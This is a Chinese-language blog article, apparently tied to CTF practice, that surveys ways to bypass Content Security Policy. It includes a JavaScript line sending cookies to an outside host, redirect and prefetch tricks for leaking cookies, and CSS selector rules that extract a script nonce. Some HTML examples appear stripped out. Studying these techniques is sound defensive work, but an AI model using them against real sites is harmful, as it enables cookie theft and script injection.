繞過內容安全策略總結
本文作者:hurricane618(來自讀者投稿)
贈送書籍:《C# 灰帽子:設計安全測試工具》
今年的 0CTF 預選賽 6 道 web 題,其中三道都涉及 CSP 的知識點,簡直可怕。。。這次趁著空閑時間就稍稍總結一下 CSP 繞過方面的知識,無論是對以後 CTF 比賽還是工作都很有幫助。
CSP 的基礎
CSP 的全稱 Content Security Policy,用來防禦 XSS 攻擊的技術。它是一種由開發者定義的安全性政策性申明,通過 CSP 指定可信的內容來源,讓 WEB 處於一個安全的運行環境中。
一個 CSP 頭由多組 CSP 策略組成,中間由分號分隔,如下所示:
其中每一組策略包含一個策略指令和一個內容源列表。策略指令有如下選項:
內容源有如下選項:
內容源有三種:源列表、關鍵字和數據,其中 *,*.foo.com,abc.foo.com,https://a.com,https: 屬於源列表。"none","self","unsafe-inline","unsafe-eval" 屬於關鍵字。data:,mediastream: 屬於數據。
例子 1:
例子 2:
Content-Security-Policy: default-src "self"; img-src "self" data:; media-src mediastream:
圖片源可以為同源內容或者是 data: 引用的資源,媒體源必須使用 mediastream: 引用,除此以外的都執行默認內容源判斷,必須為同源內容。更加詳細的可以看:
https://lorexxar.cn/2016/08/08/ccsp/
一個在線的 CSP 頭部生成器可以幫助我們深入理解
https://www.cspisawesome.com
CSP 的進化--nonce script CSP 和 strict-dynamic
這是 Google 團隊 2016 年在 CSP is Dead, Long live CSP:
https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf
中正式提出的 CSP 種類,為了解決 CSP 爆出的各種各樣的問題。
nonce script CSP
動態生成 nonce 字元串,只有包含 nonce 欄位並字元串相等的 script 塊可以被執行
Header("Content-Security-Policy: script-src "nonce-".$random.""");
?>
">
這個字元串可以在後端實現,每次請求都重新生成,這樣就可以無視哪個域是可信的,保證所載入的任何資源都是可信的,並且還能攔截後面插入的 script。
strict-dynamic
Content-Security-Policy: default-src "self"; script-src "strict-dynamic"
SD 意味著可信 js 生成的 js 代碼是可信的。
這個 CSP 規則主要是用來適應各種各樣的現代前端框架,通過這個規則,可以大幅度避免因為適應框架而變得鬆散的 CSP 規則。
CSP Bypass 的方法總結
CSP 對前端攻擊的防禦主要有兩個:
1、限制 js 的執行。
2、限制對不可信域的請求。
接下來的多種 Bypass 手段也是圍繞這兩種的
url 跳轉
利用 url 跳轉,迴避嚴格的 CSP。
在 default-src "none" 的情況下,可以使用 meta 標籤實現跳轉
在允許 unsafe-inline 的情況下,可以用 window.location,或者 window.open 之類的方法進行跳轉繞過
window.location="http://www.xss.com/x.php?c=[cookie]";
標籤配合站內的某些可控 JS 點擊操作來跳轉
$(#foo).click()
利用網站本身的跳轉介面
http://foo.com/jmp.php?url=attack.com
標籤預載入
CSP 對 link 標籤的預載入功能考慮不完善。在 Chrome 下,可以使用如下標籤發送 cookie 或者其他數據
在Firefox下無法用prefetch,因為Firefox有更高的安全規範,但是我們可以使用其他的方式,比如dns-prefetch,將cookie作為子域名,用dns預解析的方式把cookie帶出去,查看dns伺服器的日誌就能得到cookie
link 標籤除了這兩種 rel,還有 preconnect、prerender、subresource、preload 等
利用瀏覽器補全
有些網站限制只有某些腳本才能使用,往往會使用 標籤的 nonce 屬性,只有 nonce 一致的腳本才生效,比如 CSP 設置成下面這樣
Content-Security-Policy: default-src "none";script-src "nonce-abc"
那麼當腳本插入點為如下的情況時
插入點
document.write("CSP");
可以插入
這裡利用瀏覽器的容錯機制會拼成一個新的 script 標籤,其中的 src 可以自由設定
document.write("CSP");
利用 DOM XSS
如果 JS 存在操作 location.hash 導致的 XSS,那麼這樣的攻擊請求不會經過後台,那麼 nonce 後的隨機值就不會刷新。可以見下面 lorexxar 師傅的博文:
https://lorexxar.cn/2017/05/16/nonce-bypass-script/
如果有 DOM 操作可以插入 HTML 並且可以控制插入的 HTML 內容,那麼也可以繞過 CSP
利用 CSS 靜態 xss 獲取 nonce 值
利用 CSS 選擇器來逐位元組獲取信息,^= 從頭部判斷
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}
比如確定第一位為 c,那麼就會繼續下面的步驟
*[attribute^="ca"]{background:url("record?match=ca")}
*[attribute^="cb"]{background:url("record?match=cb")}
*[attribute^="cc"]{background:url("record?match=cc")}
由於是 CSS 的變化,沒有引起伺服器重新請求,所以 nonce 的值不會改變,偷取值後即可執行我們的 script
利用跨域傳輸數據
利用一些跨域傳輸的方法來引入 JS,導致執行
具體的可以看看獃子不開口的烏雲大會 PPT
http://pan.baidu.com/s/1pLCfCWr
和 0CTF2018 預選賽中的 h4xors.club2
https://lorexxar.cn/2018/04/10/0ctf2018-club2/
利用文件上傳執行 JS
Content-Security-Policy: default-src "self"; script-src "self"
針對只能載入同域下 script 的 CSP 策略,如果有上傳點可以控制,那麼可以在其中夾雜 js 代碼,然後引用該文件完成執行。
可以參考前幾天梅子酒師傅寫的《上傳 Wave 文件繞過 CSP》,執行 JS
結語
可以看到 CSP 的繞過比較看重實際場景,不同的情況下有著不同的繞過方法。
作者能力有限,如果文章中有什麼問題,歡迎交流。最後,恭喜 RNG!
Reference
https://lorexxar.cn/2017/05/09/CSP%20Is%20Dead,%20Long%20Live%20CSP!%20On%20the%20Insecurity%20of%20Whitelists%20and%20the%20Future%20of%20Content%20Security%20Policy/
https://lorexxar.cn/2017/10/25/csp-paper/#0x02-CSP%EF%BC%88Content-Security-Policy%EF%BC%89
https://www.jianshu.com/p/f1de775bc43e
https://paper.seebug.org/91/
http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html
https://lorexxar.cn/2017/05/16/nonce-bypass-script/
https://lorexxar.cn/2016/08/08/ccsp/


※我想要站在永恆之過去和永恆之未來的交匯點,也就是純粹的此刻
※《悲慘世界》王偉新作一組
TAG:全球大搜羅 |